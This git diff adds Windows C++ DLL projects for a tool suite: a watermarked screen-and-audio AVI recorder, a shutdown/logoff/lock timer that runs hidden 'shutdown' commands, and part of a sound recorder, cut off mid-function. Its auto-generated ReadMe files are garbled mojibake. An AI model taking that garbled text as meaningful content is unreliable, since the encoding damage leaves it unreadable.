diff --git a/ProtectionOfDemon/ScreenRecordAvi/ReadMe.txt b/ProtectionOfDemon/ScreenRecordAvi/ReadMe.txt
new file mode 100644
index 0000000..fa777c6
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecordAvi/ReadMe.txt
@@ -0,0 +1,32 @@
+锘========================================================================
+ 鍔ㄦ侀摼鎺ュ簱锛歋creenRecordAvi 椤圭洰姒傝堪
+========================================================================
+
+搴旂敤绋嬪簭鍚戝宸蹭负鎮ㄥ垱寤轰簡姝 ScreenRecordAvi DLL銆
+
+鏈枃浠舵瑕佷粙缁嶇粍鎴 ScreenRecordAvi 搴旂敤绋嬪簭鐨勬瘡涓枃浠剁殑鍐呭銆
+
+
+ScreenRecordAvi.vcxproj
+ 杩欐槸浣跨敤搴旂敤绋嬪簭鍚戝鐢熸垚鐨 VC++ 椤圭洰鐨勪富椤圭洰鏂囦欢锛屽叾涓寘鍚敓鎴愯鏂囦欢鐨 Visual C++ 鐨勭増鏈俊鎭紝浠ュ強鏈夊叧浣跨敤搴旂敤绋嬪簭鍚戝閫夋嫨鐨勫钩鍙般侀厤缃拰椤圭洰鍔熻兘鐨勪俊鎭
+
+ScreenRecordAvi.vcxproj.filters
+ 杩欐槸浣跨敤鈥滃簲鐢ㄧ▼搴忓悜瀵尖濈敓鎴愮殑 VC++ 椤圭洰绛涢夊櫒鏂囦欢銆傚畠鍖呭惈鏈夊叧椤圭洰鏂囦欢涓庣瓫閫夊櫒涔嬮棿鐨勫叧鑱斾俊鎭傚湪 IDE 涓紝閫氳繃杩欑鍏宠仈锛屽湪鐗瑰畾鑺傜偣涓嬩互鍒嗙粍褰㈠紡鏄剧ず鍏锋湁鐩镐技鎵╁睍鍚嶇殑鏂囦欢銆備緥濡傦紝鈥.cpp鈥濇枃浠朵笌鈥滄簮鏂囦欢鈥濈瓫閫夊櫒鍏宠仈銆
+
+ScreenRecordAvi.cpp
+ 杩欐槸涓 DLL 婧愭枃浠躲
+
+ 姝 DLL 鍦ㄥ垱寤烘椂涓嶅鍑轰换浣曠鍙枫傚洜姝わ紝鐢熸垚鏃朵笉浼氫骇鐢 .lib 鏂囦欢銆傚鏋滃笇鏈涙椤圭洰鎴愪负鍏朵粬鏌愪釜椤圭洰鐨勯」鐩緷璧栭」锛屽垯闇瑕佹坊鍔犱唬鐮佷互浠 DLL 瀵煎嚭鏌愪簺绗﹀彿锛屼互渚夸骇鐢熶竴涓鍑哄簱锛屾垨鑰咃紝涔熷彲浠ュ湪椤圭洰鈥滃睘鎬ч〉鈥濆璇濇涓殑鈥滈摼鎺ュ櫒鈥濇枃浠跺す涓紝灏嗏滃父瑙勨濆睘鎬ч〉涓婄殑鈥滃拷鐣ヨ緭鍏ュ簱鈥濆睘鎬ц缃负鈥滄槸鈥濄
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬鏍囧噯鏂囦欢:
+
+StdAfx.h, StdAfx.cpp
+ 杩欎簺鏂囦欢鐢ㄤ簬鐢熸垚鍚嶄负 ScreenRecordAvi.pch 鐨勯缂栬瘧澶 (PCH) 鏂囦欢鍜屽悕涓 StdAfx.obj 鐨勯缂栬瘧绫诲瀷鏂囦欢銆
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬娉ㄩ噴:
+
+搴旂敤绋嬪簭鍚戝浣跨敤鈥淭ODO:鈥濇敞閲婃潵鎸囩ず搴旀坊鍔犳垨鑷畾涔夌殑婧愪唬鐮侀儴鍒嗐
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.aps b/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.aps
new file mode 100644
index 0000000..e3a0a4c
Binary files /dev/null and b/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.aps differ
diff --git a/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.cpp b/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.cpp
new file mode 100644
index 0000000..b3345ea
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.cpp
@@ -0,0 +1,109 @@
+// ScreenRecordAvi.cpp : 定义 DLL 应用程序的导出函数。
+//
+
+#include "stdafx.h"
+#include "resource.h"
+#include "AviMaker.h"
+#pragma comment(lib, "msimg32.lib")
+
+
+extern HMODULE g_hModule;
+CAviMaker g_AviMaker;
+int g_iNextFrameTime = 0; // 每帧的时间间隔
+int g_iTimer = 0; // 定时器的时间间隔
+UINT_PTR g_upTimeIdAvi; // 定时器ID
+
+HBITMAP GetDestBmp()
+{
+ int iRet = 0;
+
+ // 获取桌面屏幕上下文,并创建一个兼容内存上下文
+ HDC hDCSource = ::GetDC(::GetDesktopWindow());
+ HDC hDCMem = ::CreateCompatibleDC(hDCSource);
+ // 获取屏幕分辨率
+ int iScreenWidth = ::GetSystemMetrics(SM_CXSCREEN);
+ int iScreenHeight = ::GetSystemMetrics(SM_CYSCREEN);
+ // 创建位图共内存上下文使用
+ HBITMAP hDesktopBmp = ::CreateCompatibleBitmap(hDCSource, iScreenWidth, iScreenHeight);
+ HBITMAP oldBmp = (HBITMAP)::SelectObject(hDCMem, hDesktopBmp);
+ // 将桌面屏幕上下文绘制到兼容内存上下文
+ ::BitBlt(hDCMem, 0, 0, iScreenWidth, iScreenHeight, hDCSource, 0, 0, SRCCOPY);
+
+ // 绘制“恶魔的世界”标志
+ HDC hDCBuf = ::CreateCompatibleDC(hDCSource);
+ HBITMAP hDemonBmp = (HBITMAP)::LoadImage(g_hModule, (LPCSTR)IDB_BITMAP1, IMAGE_BITMAP, 0, 0, NULL);
+ HBITMAP oldDemonBmp = (HBITMAP)::SelectObject(hDCBuf, hDemonBmp);
+ ::TransparentBlt(hDCMem, (iScreenWidth - 310), 10, 300, 120, hDCBuf, 0, 0, 300, 120, RGB(255, 255, 255));
+ ::SelectObject(hDCBuf, oldDemonBmp);
+ ::DeleteObject(hDemonBmp);
+ ::DeleteDC(hDCBuf);
+
+ // 绘制光标
+ POINT ptPoint = { 0 };
+ ::GetCursorPos(&ptPoint);
+ HICON hCursor = (HICON)::GetCursor();
+ ::DrawIcon(hDCMem, ptPoint.x, ptPoint.y, hCursor);
+ // ::DrawIconEx(hDCMem, ptPoint.x, ptPoint.y, hCursor, 0, 0, 0, NULL, DI_NORMAL | DI_COMPAT | DI_DEFAULTSIZE);
+
+ ::SelectObject(hDCMem, oldBmp);
+ // 释放
+// ::DeleteObject(hDesktopBmp);
+ ::DeleteObject(hCursor);
+ ::DeleteDC(hDCBuf);
+ ::DeleteDC(hDCMem);
+ ::ReleaseDC(::GetDesktopWindow(), hDCSource);
+
+ return hDesktopBmp;
+}
+
+
+VOID CALLBACK AviTimerProc(HWND hwnd, // handle to window
+ UINT uMsg, // WM_TIMER message
+ UINT_PTR idEvent, // timer identifier
+ DWORD dwTime) // current system time
+{
+ // 获取桌面图像
+ HDC hDCSource = ::GetDC(::GetDesktopWindow());
+ HBITMAP hDesktopBmp = GetDestBmp();
+ // 将桌面图像添加视频帧到已创建的avi视频文件
+ g_AviMaker.AviAddFrame(hDCSource, hDesktopBmp);
+ // 释放
+ ::DeleteObject(hDesktopBmp);
+}
+
+
+BOOL ScreenRecordAvi_Start(char *lpszFileName)
+{
+ g_AviMaker.Init();
+ // 初始化录屏过程
+ g_iNextFrameTime = g_iTimer = 200; // **** 注意此处的:相邻帧时间间隔
+ g_AviMaker.AviStart(lpszFileName, g_iNextFrameTime); // **** 注意此处的:相邻帧时间间隔
+ // 音频
+ g_AviMaker.WaveStartRecord(1, 8000, 8);
+ // 判断是否安装
+ // 获取桌面图像
+ HDC hDCSource = ::GetDC(::GetDesktopWindow());
+ HBITMAP hDesktopBmp = GetDestBmp();
+ // 将桌面图像添加视频帧到已创建的avi视频文件
+ g_AviMaker.AviAddFrame(hDCSource, hDesktopBmp);
+ // 释放
+ ::DeleteObject(hDesktopBmp);
+
+ // 设置录屏定时器
+ g_upTimeIdAvi = ::SetTimer(NULL, 1, g_iTimer, (TIMERPROC)AviTimerProc);
+
+ return TRUE;
+}
+
+
+BOOL ScreenRecordAvi_Stop()
+{
+ // 停止录音
+ g_AviMaker.WaveStopRecord();
+ // 停止录屏
+ ::KillTimer(NULL, g_upTimeIdAvi);
+ g_AviMaker.AviStop();
+
+ return TRUE;
+}
+
diff --git a/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.def b/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.def
new file mode 100644
index 0000000..c1300f3
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.def
@@ -0,0 +1,5 @@
+LIBRARY
+
+EXPORTS
+ScreenRecordAvi_Start
+ScreenRecordAvi_Stop
diff --git a/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.rc b/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.rc
new file mode 100644
index 0000000..74c39ee
Binary files /dev/null and b/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.rc differ
diff --git a/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.vcxproj b/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.vcxproj
new file mode 100644
index 0000000..fab03c9
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.vcxproj
@@ -0,0 +1,118 @@
+锘
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+
+ {FDF595F3-DEBE-4E6B-8612-E41F56D0C38E}
+ Win32Proj
+ ScreenRecordAvi
+
+
+
+ DynamicLibrary
+ true
+ v120
+ MultiByte
+
+
+ DynamicLibrary
+ false
+ v120_xp
+ true
+ MultiByte
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+
+ Use
+ Level3
+ Disabled
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;SCREENRECORDAVI_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ ScreenRecordAvi.def
+
+
+
+
+ Level3
+ Use
+ MaxSpeed
+ true
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;SCREENRECORDAVI_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ true
+ true
+ ScreenRecordAvi.def
+ %(AdditionalDependencies)
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ false
+
+
+ false
+
+
+
+
+
+ Create
+ Create
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.vcxproj.filters b/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.vcxproj.filters
new file mode 100644
index 0000000..de71cc5
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecordAvi/ScreenRecordAvi.vcxproj.filters
@@ -0,0 +1,63 @@
+锘
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;hm;inl;inc;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+
+
+ 璧勬簮鏂囦欢
+
+
+
+
+ 璧勬簮鏂囦欢
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/ScreenRecordAvi/dllmain.cpp b/ProtectionOfDemon/ScreenRecordAvi/dllmain.cpp
new file mode 100644
index 0000000..a927e08
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecordAvi/dllmain.cpp
@@ -0,0 +1,26 @@
+// dllmain.cpp : 定义 DLL 应用程序的入口点。
+#include "stdafx.h"
+
+
+HMODULE g_hModule = NULL;
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+ DWORD ul_reason_for_call,
+ LPVOID lpReserved
+ )
+{
+ switch (ul_reason_for_call)
+ {
+ case DLL_PROCESS_ATTACH:
+ {
+ g_hModule = hModule;
+ break;
+ }
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+ return TRUE;
+}
+
diff --git a/ProtectionOfDemon/ScreenRecordAvi/res/logo.bmp b/ProtectionOfDemon/ScreenRecordAvi/res/logo.bmp
new file mode 100644
index 0000000..5bfcfaf
Binary files /dev/null and b/ProtectionOfDemon/ScreenRecordAvi/res/logo.bmp differ
diff --git a/ProtectionOfDemon/ScreenRecordAvi/resource.h b/ProtectionOfDemon/ScreenRecordAvi/resource.h
new file mode 100644
index 0000000..a4857cb
Binary files /dev/null and b/ProtectionOfDemon/ScreenRecordAvi/resource.h differ
diff --git a/ProtectionOfDemon/ScreenRecordAvi/stdafx.cpp b/ProtectionOfDemon/ScreenRecordAvi/stdafx.cpp
new file mode 100644
index 0000000..ca7a46b
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecordAvi/stdafx.cpp
@@ -0,0 +1,8 @@
+// stdafx.cpp : 只包括标准包含文件的源文件
+// ScreenRecordAvi.pch 将作为预编译头
+// stdafx.obj 将包含预编译类型信息
+
+#include "stdafx.h"
+
+// TODO: 在 STDAFX.H 中
+// 引用任何所需的附加头文件,而不是在此文件中引用
diff --git a/ProtectionOfDemon/ScreenRecordAvi/stdafx.h b/ProtectionOfDemon/ScreenRecordAvi/stdafx.h
new file mode 100644
index 0000000..9ea5d30
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecordAvi/stdafx.h
@@ -0,0 +1,16 @@
+// stdafx.h : 标准系统包含文件的包含文件,
+// 或是经常使用但不常更改的
+// 特定于项目的包含文件
+//
+
+#pragma once
+
+#include "targetver.h"
+
+#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的信息
+// Windows 头文件:
+#include
+
+
+
+// TODO: 在此处引用程序需要的其他头文件
diff --git a/ProtectionOfDemon/ScreenRecordAvi/targetver.h b/ProtectionOfDemon/ScreenRecordAvi/targetver.h
new file mode 100644
index 0000000..aadba2f
--- /dev/null
+++ b/ProtectionOfDemon/ScreenRecordAvi/targetver.h
@@ -0,0 +1,8 @@
+#pragma once
+
+// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
+
+// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
+// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
+
+#include
diff --git a/ProtectionOfDemon/ScreenRecordAvi/xvidcore.dll b/ProtectionOfDemon/ScreenRecordAvi/xvidcore.dll
new file mode 100644
index 0000000..134723b
Binary files /dev/null and b/ProtectionOfDemon/ScreenRecordAvi/xvidcore.dll differ
diff --git a/ProtectionOfDemon/ScreenRecordAvi/xvidcore.lib b/ProtectionOfDemon/ScreenRecordAvi/xvidcore.lib
new file mode 100644
index 0000000..d2c392a
Binary files /dev/null and b/ProtectionOfDemon/ScreenRecordAvi/xvidcore.lib differ
diff --git a/ProtectionOfDemon/ShutdownTimer/ReadMe.txt b/ProtectionOfDemon/ShutdownTimer/ReadMe.txt
new file mode 100644
index 0000000..d56ec46
--- /dev/null
+++ b/ProtectionOfDemon/ShutdownTimer/ReadMe.txt
@@ -0,0 +1,32 @@
+锘========================================================================
+ 鍔ㄦ侀摼鎺ュ簱锛歋hutdownTimer 椤圭洰姒傝堪
+========================================================================
+
+搴旂敤绋嬪簭鍚戝宸蹭负鎮ㄥ垱寤轰簡姝 ShutdownTimer DLL銆
+
+鏈枃浠舵瑕佷粙缁嶇粍鎴 ShutdownTimer 搴旂敤绋嬪簭鐨勬瘡涓枃浠剁殑鍐呭銆
+
+
+ShutdownTimer.vcxproj
+ 杩欐槸浣跨敤搴旂敤绋嬪簭鍚戝鐢熸垚鐨 VC++ 椤圭洰鐨勪富椤圭洰鏂囦欢锛屽叾涓寘鍚敓鎴愯鏂囦欢鐨 Visual C++ 鐨勭増鏈俊鎭紝浠ュ強鏈夊叧浣跨敤搴旂敤绋嬪簭鍚戝閫夋嫨鐨勫钩鍙般侀厤缃拰椤圭洰鍔熻兘鐨勪俊鎭
+
+ShutdownTimer.vcxproj.filters
+ 杩欐槸浣跨敤鈥滃簲鐢ㄧ▼搴忓悜瀵尖濈敓鎴愮殑 VC++ 椤圭洰绛涢夊櫒鏂囦欢銆傚畠鍖呭惈鏈夊叧椤圭洰鏂囦欢涓庣瓫閫夊櫒涔嬮棿鐨勫叧鑱斾俊鎭傚湪 IDE 涓紝閫氳繃杩欑鍏宠仈锛屽湪鐗瑰畾鑺傜偣涓嬩互鍒嗙粍褰㈠紡鏄剧ず鍏锋湁鐩镐技鎵╁睍鍚嶇殑鏂囦欢銆備緥濡傦紝鈥.cpp鈥濇枃浠朵笌鈥滄簮鏂囦欢鈥濈瓫閫夊櫒鍏宠仈銆
+
+ShutdownTimer.cpp
+ 杩欐槸涓 DLL 婧愭枃浠躲
+
+ 姝 DLL 鍦ㄥ垱寤烘椂涓嶅鍑轰换浣曠鍙枫傚洜姝わ紝鐢熸垚鏃朵笉浼氫骇鐢 .lib 鏂囦欢銆傚鏋滃笇鏈涙椤圭洰鎴愪负鍏朵粬鏌愪釜椤圭洰鐨勯」鐩緷璧栭」锛屽垯闇瑕佹坊鍔犱唬鐮佷互浠 DLL 瀵煎嚭鏌愪簺绗﹀彿锛屼互渚夸骇鐢熶竴涓鍑哄簱锛屾垨鑰咃紝涔熷彲浠ュ湪椤圭洰鈥滃睘鎬ч〉鈥濆璇濇涓殑鈥滈摼鎺ュ櫒鈥濇枃浠跺す涓紝灏嗏滃父瑙勨濆睘鎬ч〉涓婄殑鈥滃拷鐣ヨ緭鍏ュ簱鈥濆睘鎬ц缃负鈥滄槸鈥濄
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬鏍囧噯鏂囦欢:
+
+StdAfx.h, StdAfx.cpp
+ 杩欎簺鏂囦欢鐢ㄤ簬鐢熸垚鍚嶄负 ShutdownTimer.pch 鐨勯缂栬瘧澶 (PCH) 鏂囦欢鍜屽悕涓 StdAfx.obj 鐨勯缂栬瘧绫诲瀷鏂囦欢銆
+
+/////////////////////////////////////////////////////////////////////////////
+鍏朵粬娉ㄩ噴:
+
+搴旂敤绋嬪簭鍚戝浣跨敤鈥淭ODO:鈥濇敞閲婃潵鎸囩ず搴旀坊鍔犳垨鑷畾涔夌殑婧愪唬鐮侀儴鍒嗐
+
+/////////////////////////////////////////////////////////////////////////////
diff --git a/ProtectionOfDemon/ShutdownTimer/ShutdownTimer.cpp b/ProtectionOfDemon/ShutdownTimer/ShutdownTimer.cpp
new file mode 100644
index 0000000..99f2ba6
--- /dev/null
+++ b/ProtectionOfDemon/ShutdownTimer/ShutdownTimer.cpp
@@ -0,0 +1,125 @@
+// ShutdownTimer.cpp : 定义 DLL 应用程序的导出函数。
+//
+
+#include "stdafx.h"
+#pragma comment(lib, "user32.lib")
+#include
+
+
+// 全局变量
+UINT g_uTimeCount = 0;
+UINT g_uShutDownTimer = 0;
+UINT g_uTimeLeft = 0;
+UINT_PTR g_upTimerID = 0;
+UINT g_iType = 0;
+
+// 函数定义
+void ShowError(char *lpszText)
+{
+ char szErr[MAX_PATH] = { 0 };
+ ::wsprintf(szErr, "%s Error!\nError Code Is:%d\n", lpszText, ::GetLastError());
+ ::MessageBox(NULL, szErr, "ShutdownTimer", MB_OK | MB_ICONERROR);
+}
+
+
+void SetShutdownTimerShutdown()
+{
+ if (!::ExitWindowsEx(EWX_SHUTDOWN, 0))
+ {
+ char szCmd[MAX_PATH] = { 0 };
+ // 设置进程参数
+ STARTUPINFO stSI = { 0 };
+ PROCESS_INFORMATION stPI = { 0 };
+ stSI.cb = sizeof(STARTUPINFO);
+ ::GetStartupInfo(&stSI);
+ stSI.wShowWindow = SW_HIDE;
+ // 创建进程执行命令
+ ::wsprintf(szCmd, "%s", "cmd.exe /c shutdown -p");
+ if (!::CreateProcess(NULL, szCmd, NULL, NULL, TRUE, 0, NULL, NULL, &stSI, &stPI))
+ {
+ // 创建进程执行命令
+ ::wsprintf(szCmd, "%s", "cmd.exe /c shutdown -s -t 5");
+ if (!::CreateProcess(NULL, szCmd, NULL, NULL, TRUE, 0, NULL, NULL, &stSI, &stPI))
+ {
+ // 创建进程执行命令
+ ::wsprintf(szCmd, "%s", "cmd.exe /c shutdown -s");
+ if (!::CreateProcess(NULL, szCmd, NULL, NULL, TRUE, 0, NULL, NULL, &stSI, &stPI))
+ {
+ ShowError("CreateProcess");
+ }
+ }
+ }
+ }
+}
+
+
+void SetShutdownTimerSignOut()
+{
+ if(!::ExitWindowsEx(EWX_LOGOFF, 0))
+ {
+ ShowError("ExitWindowsEx");
+ }
+}
+
+
+void SetShutdownTimerLock()
+{
+ if (!::LockWorkStation())
+ {
+ ShowError("LockWorkStation");
+ }
+}
+
+
+VOID CALLBACK ShutdownTimerProc(HWND hwnd, // handle to window
+ UINT uMsg, // WM_TIMER message
+ UINT_PTR idEvent, // timer identifier
+ DWORD dwTime) // current system time
+{
+ g_uTimeCount++;
+ g_uTimeLeft = g_uShutDownTimer - g_uTimeCount;
+ if (g_uTimeCount >= g_uShutDownTimer)
+ {
+ ::KillTimer(NULL, g_upTimerID);
+ g_uTimeCount = 0;
+ if (1 == g_iType)
+ {
+ // 关机
+ SetShutdownTimerShutdown();
+ }
+ else if (2 == g_iType)
+ {
+ // 注销
+ SetShutdownTimerSignOut();
+ }
+ else if (3 == g_iType)
+ {
+ // 锁屏
+ SetShutdownTimerLock();
+ }
+ else
+ {
+ // 关机
+ SetShutdownTimerShutdown();
+ }
+ }
+}
+
+
+void SetShutdownTimer(UINT uHour, UINT uMinute, UINT uSecond, UINT iType)
+{
+ ::KillTimer(NULL, g_upTimerID);
+ if (0 < iType)
+ {
+ g_uTimeCount = 0;
+ g_iType = iType;
+ g_uShutDownTimer = 60 * 60 * uHour + 60 * uMinute + uSecond;
+ g_upTimerID = ::SetTimer(NULL, 1, 1000, ShutdownTimerProc);
+ }
+}
+
+
+UINT GetShutdownTimerTimeLeft()
+{
+ return g_uTimeLeft;
+}
\ No newline at end of file
diff --git a/ProtectionOfDemon/ShutdownTimer/ShutdownTimer.def b/ProtectionOfDemon/ShutdownTimer/ShutdownTimer.def
new file mode 100644
index 0000000..63f13e4
--- /dev/null
+++ b/ProtectionOfDemon/ShutdownTimer/ShutdownTimer.def
@@ -0,0 +1,9 @@
+LIBRARY
+
+EXPORTS
+ ; 此处可以是显式导出
+ SetShutdownTimer
+ SetShutdownTimerLock
+ SetShutdownTimerSignOut
+ SetShutdownTimerShutdown
+ GetShutdownTimerTimeLeft
\ No newline at end of file
diff --git a/ProtectionOfDemon/ShutdownTimer/ShutdownTimer.vcxproj b/ProtectionOfDemon/ShutdownTimer/ShutdownTimer.vcxproj
new file mode 100644
index 0000000..6ab044f
--- /dev/null
+++ b/ProtectionOfDemon/ShutdownTimer/ShutdownTimer.vcxproj
@@ -0,0 +1,109 @@
+锘
+
+
+
+ Debug
+ Win32
+
+
+ Release
+ Win32
+
+
+
+ {ABF316EC-B7BA-4DDE-AB38-02D2224077D4}
+ Win32Proj
+ ShutdownTimer
+
+
+
+ DynamicLibrary
+ true
+ v120
+ MultiByte
+ Dynamic
+
+
+ DynamicLibrary
+ false
+ v120_xp
+ true
+ MultiByte
+
+
+
+
+
+
+
+
+
+
+
+
+ true
+
+
+ false
+
+
+
+ Use
+ Level3
+ Disabled
+ WIN32;_DEBUG;_WINDOWS;_USRDLL;SHUTDOWNTIMER_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ ShutdownTimer.def
+
+
+
+
+ Level3
+ Use
+ MaxSpeed
+ true
+ true
+ WIN32;NDEBUG;_WINDOWS;_USRDLL;SHUTDOWNTIMER_EXPORTS;%(PreprocessorDefinitions)
+ true
+
+
+ Windows
+ true
+ true
+ true
+ ShutdownTimer.def
+
+
+
+
+
+
+
+
+
+
+
+ false
+
+
+ false
+
+
+
+
+
+ Create
+ Create
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/ShutdownTimer/ShutdownTimer.vcxproj.filters b/ProtectionOfDemon/ShutdownTimer/ShutdownTimer.vcxproj.filters
new file mode 100644
index 0000000..5e70f39
--- /dev/null
+++ b/ProtectionOfDemon/ShutdownTimer/ShutdownTimer.vcxproj.filters
@@ -0,0 +1,44 @@
+锘
+
+
+
+ {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
+ cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
+
+
+ {93995380-89BD-4b04-88EB-625FBE52EBFB}
+ h;hh;hpp;hxx;hm;inl;inc;xsd
+
+
+ {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
+ rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
+
+
+
+
+
+
+
+ 澶存枃浠
+
+
+ 澶存枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+ 婧愭枃浠
+
+
+
+
+ 婧愭枃浠
+
+
+
\ No newline at end of file
diff --git a/ProtectionOfDemon/ShutdownTimer/dllmain.cpp b/ProtectionOfDemon/ShutdownTimer/dllmain.cpp
new file mode 100644
index 0000000..f782a01
--- /dev/null
+++ b/ProtectionOfDemon/ShutdownTimer/dllmain.cpp
@@ -0,0 +1,19 @@
+// dllmain.cpp : 定义 DLL 应用程序的入口点。
+#include "stdafx.h"
+
+BOOL APIENTRY DllMain( HMODULE hModule,
+ DWORD ul_reason_for_call,
+ LPVOID lpReserved
+ )
+{
+ switch (ul_reason_for_call)
+ {
+ case DLL_PROCESS_ATTACH:
+ case DLL_THREAD_ATTACH:
+ case DLL_THREAD_DETACH:
+ case DLL_PROCESS_DETACH:
+ break;
+ }
+ return TRUE;
+}
+
diff --git a/ProtectionOfDemon/ShutdownTimer/stdafx.cpp b/ProtectionOfDemon/ShutdownTimer/stdafx.cpp
new file mode 100644
index 0000000..958a60c
--- /dev/null
+++ b/ProtectionOfDemon/ShutdownTimer/stdafx.cpp
@@ -0,0 +1,8 @@
+// stdafx.cpp : 只包括标准包含文件的源文件
+// ShutdownTimer.pch 将作为预编译头
+// stdafx.obj 将包含预编译类型信息
+
+#include "stdafx.h"
+
+// TODO: 在 STDAFX.H 中
+// 引用任何所需的附加头文件,而不是在此文件中引用
diff --git a/ProtectionOfDemon/ShutdownTimer/stdafx.h b/ProtectionOfDemon/ShutdownTimer/stdafx.h
new file mode 100644
index 0000000..9ea5d30
--- /dev/null
+++ b/ProtectionOfDemon/ShutdownTimer/stdafx.h
@@ -0,0 +1,16 @@
+// stdafx.h : 标准系统包含文件的包含文件,
+// 或是经常使用但不常更改的
+// 特定于项目的包含文件
+//
+
+#pragma once
+
+#include "targetver.h"
+
+#define WIN32_LEAN_AND_MEAN // 从 Windows 头文件中排除极少使用的信息
+// Windows 头文件:
+#include
+
+
+
+// TODO: 在此处引用程序需要的其他头文件
diff --git a/ProtectionOfDemon/ShutdownTimer/targetver.h b/ProtectionOfDemon/ShutdownTimer/targetver.h
new file mode 100644
index 0000000..aadba2f
--- /dev/null
+++ b/ProtectionOfDemon/ShutdownTimer/targetver.h
@@ -0,0 +1,8 @@
+#pragma once
+
+// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
+
+// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
+// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
+
+#include
diff --git a/ProtectionOfDemon/SoundRecord/MySoundRecord.cpp b/ProtectionOfDemon/SoundRecord/MySoundRecord.cpp
new file mode 100644
index 0000000..a0ed018
--- /dev/null
+++ b/ProtectionOfDemon/SoundRecord/MySoundRecord.cpp
@@ -0,0 +1,213 @@
+#include "stdafx.h"
+#include "MySoundRecord.h"
+
+
+BOOL m_bStop = FALSE;
+char *m_lpRecordData = NULL;
+DWORD m_dwRecordSize = 0;
+
+
+CMySoundRecord::CMySoundRecord()
+{
+
+}
+
+
+CMySoundRecord::~CMySoundRecord()
+{
+}
+
+
+void CMySoundRecord::WaveGetDevInfo()
+{
+ // 获取音频设备数量
+ int iSoundDevCount = ::waveInGetNumDevs();
+ // 遍历音频设备信息
+ MMRESULT mmRet = MMSYSERR_NOERROR;
+ int i = 0;
+ for (i = 0; i < iSoundDevCount; i++)
+ {
+ mmRet = ::waveInGetDevCaps(i, &m_stDevInfo.stWaveInCaps[i], sizeof(WAVEINCAPS)); // 获取音频设备信息
+ if ((MMSYSERR_NOERROR == mmRet) &&
+ (MAXDEVNUM > m_stDevInfo.iLen))
+ {
+ m_stDevInfo.iLen++;
+ }
+ }
+}
+
+
+void CALLBACK WaveCallback(HWAVEIN hWaveIn, UINT uMsg, DWORD dwInstance, DWORD dwParam1, DWORD dwParam2)
+{
+ switch (uMsg)
+ {
+ case WIM_OPEN:
+ {
+ // 设备已经打开
+// ::MessageBox(NULL, "设备已经打开", NULL, MB_OK);
+ break;
+ }
+ case WIM_DATA:
+ {
+ ::RtlZeroMemory((LPVOID)((DWORD)m_lpRecordData + m_dwRecordSize), BUFFERLENGTH);
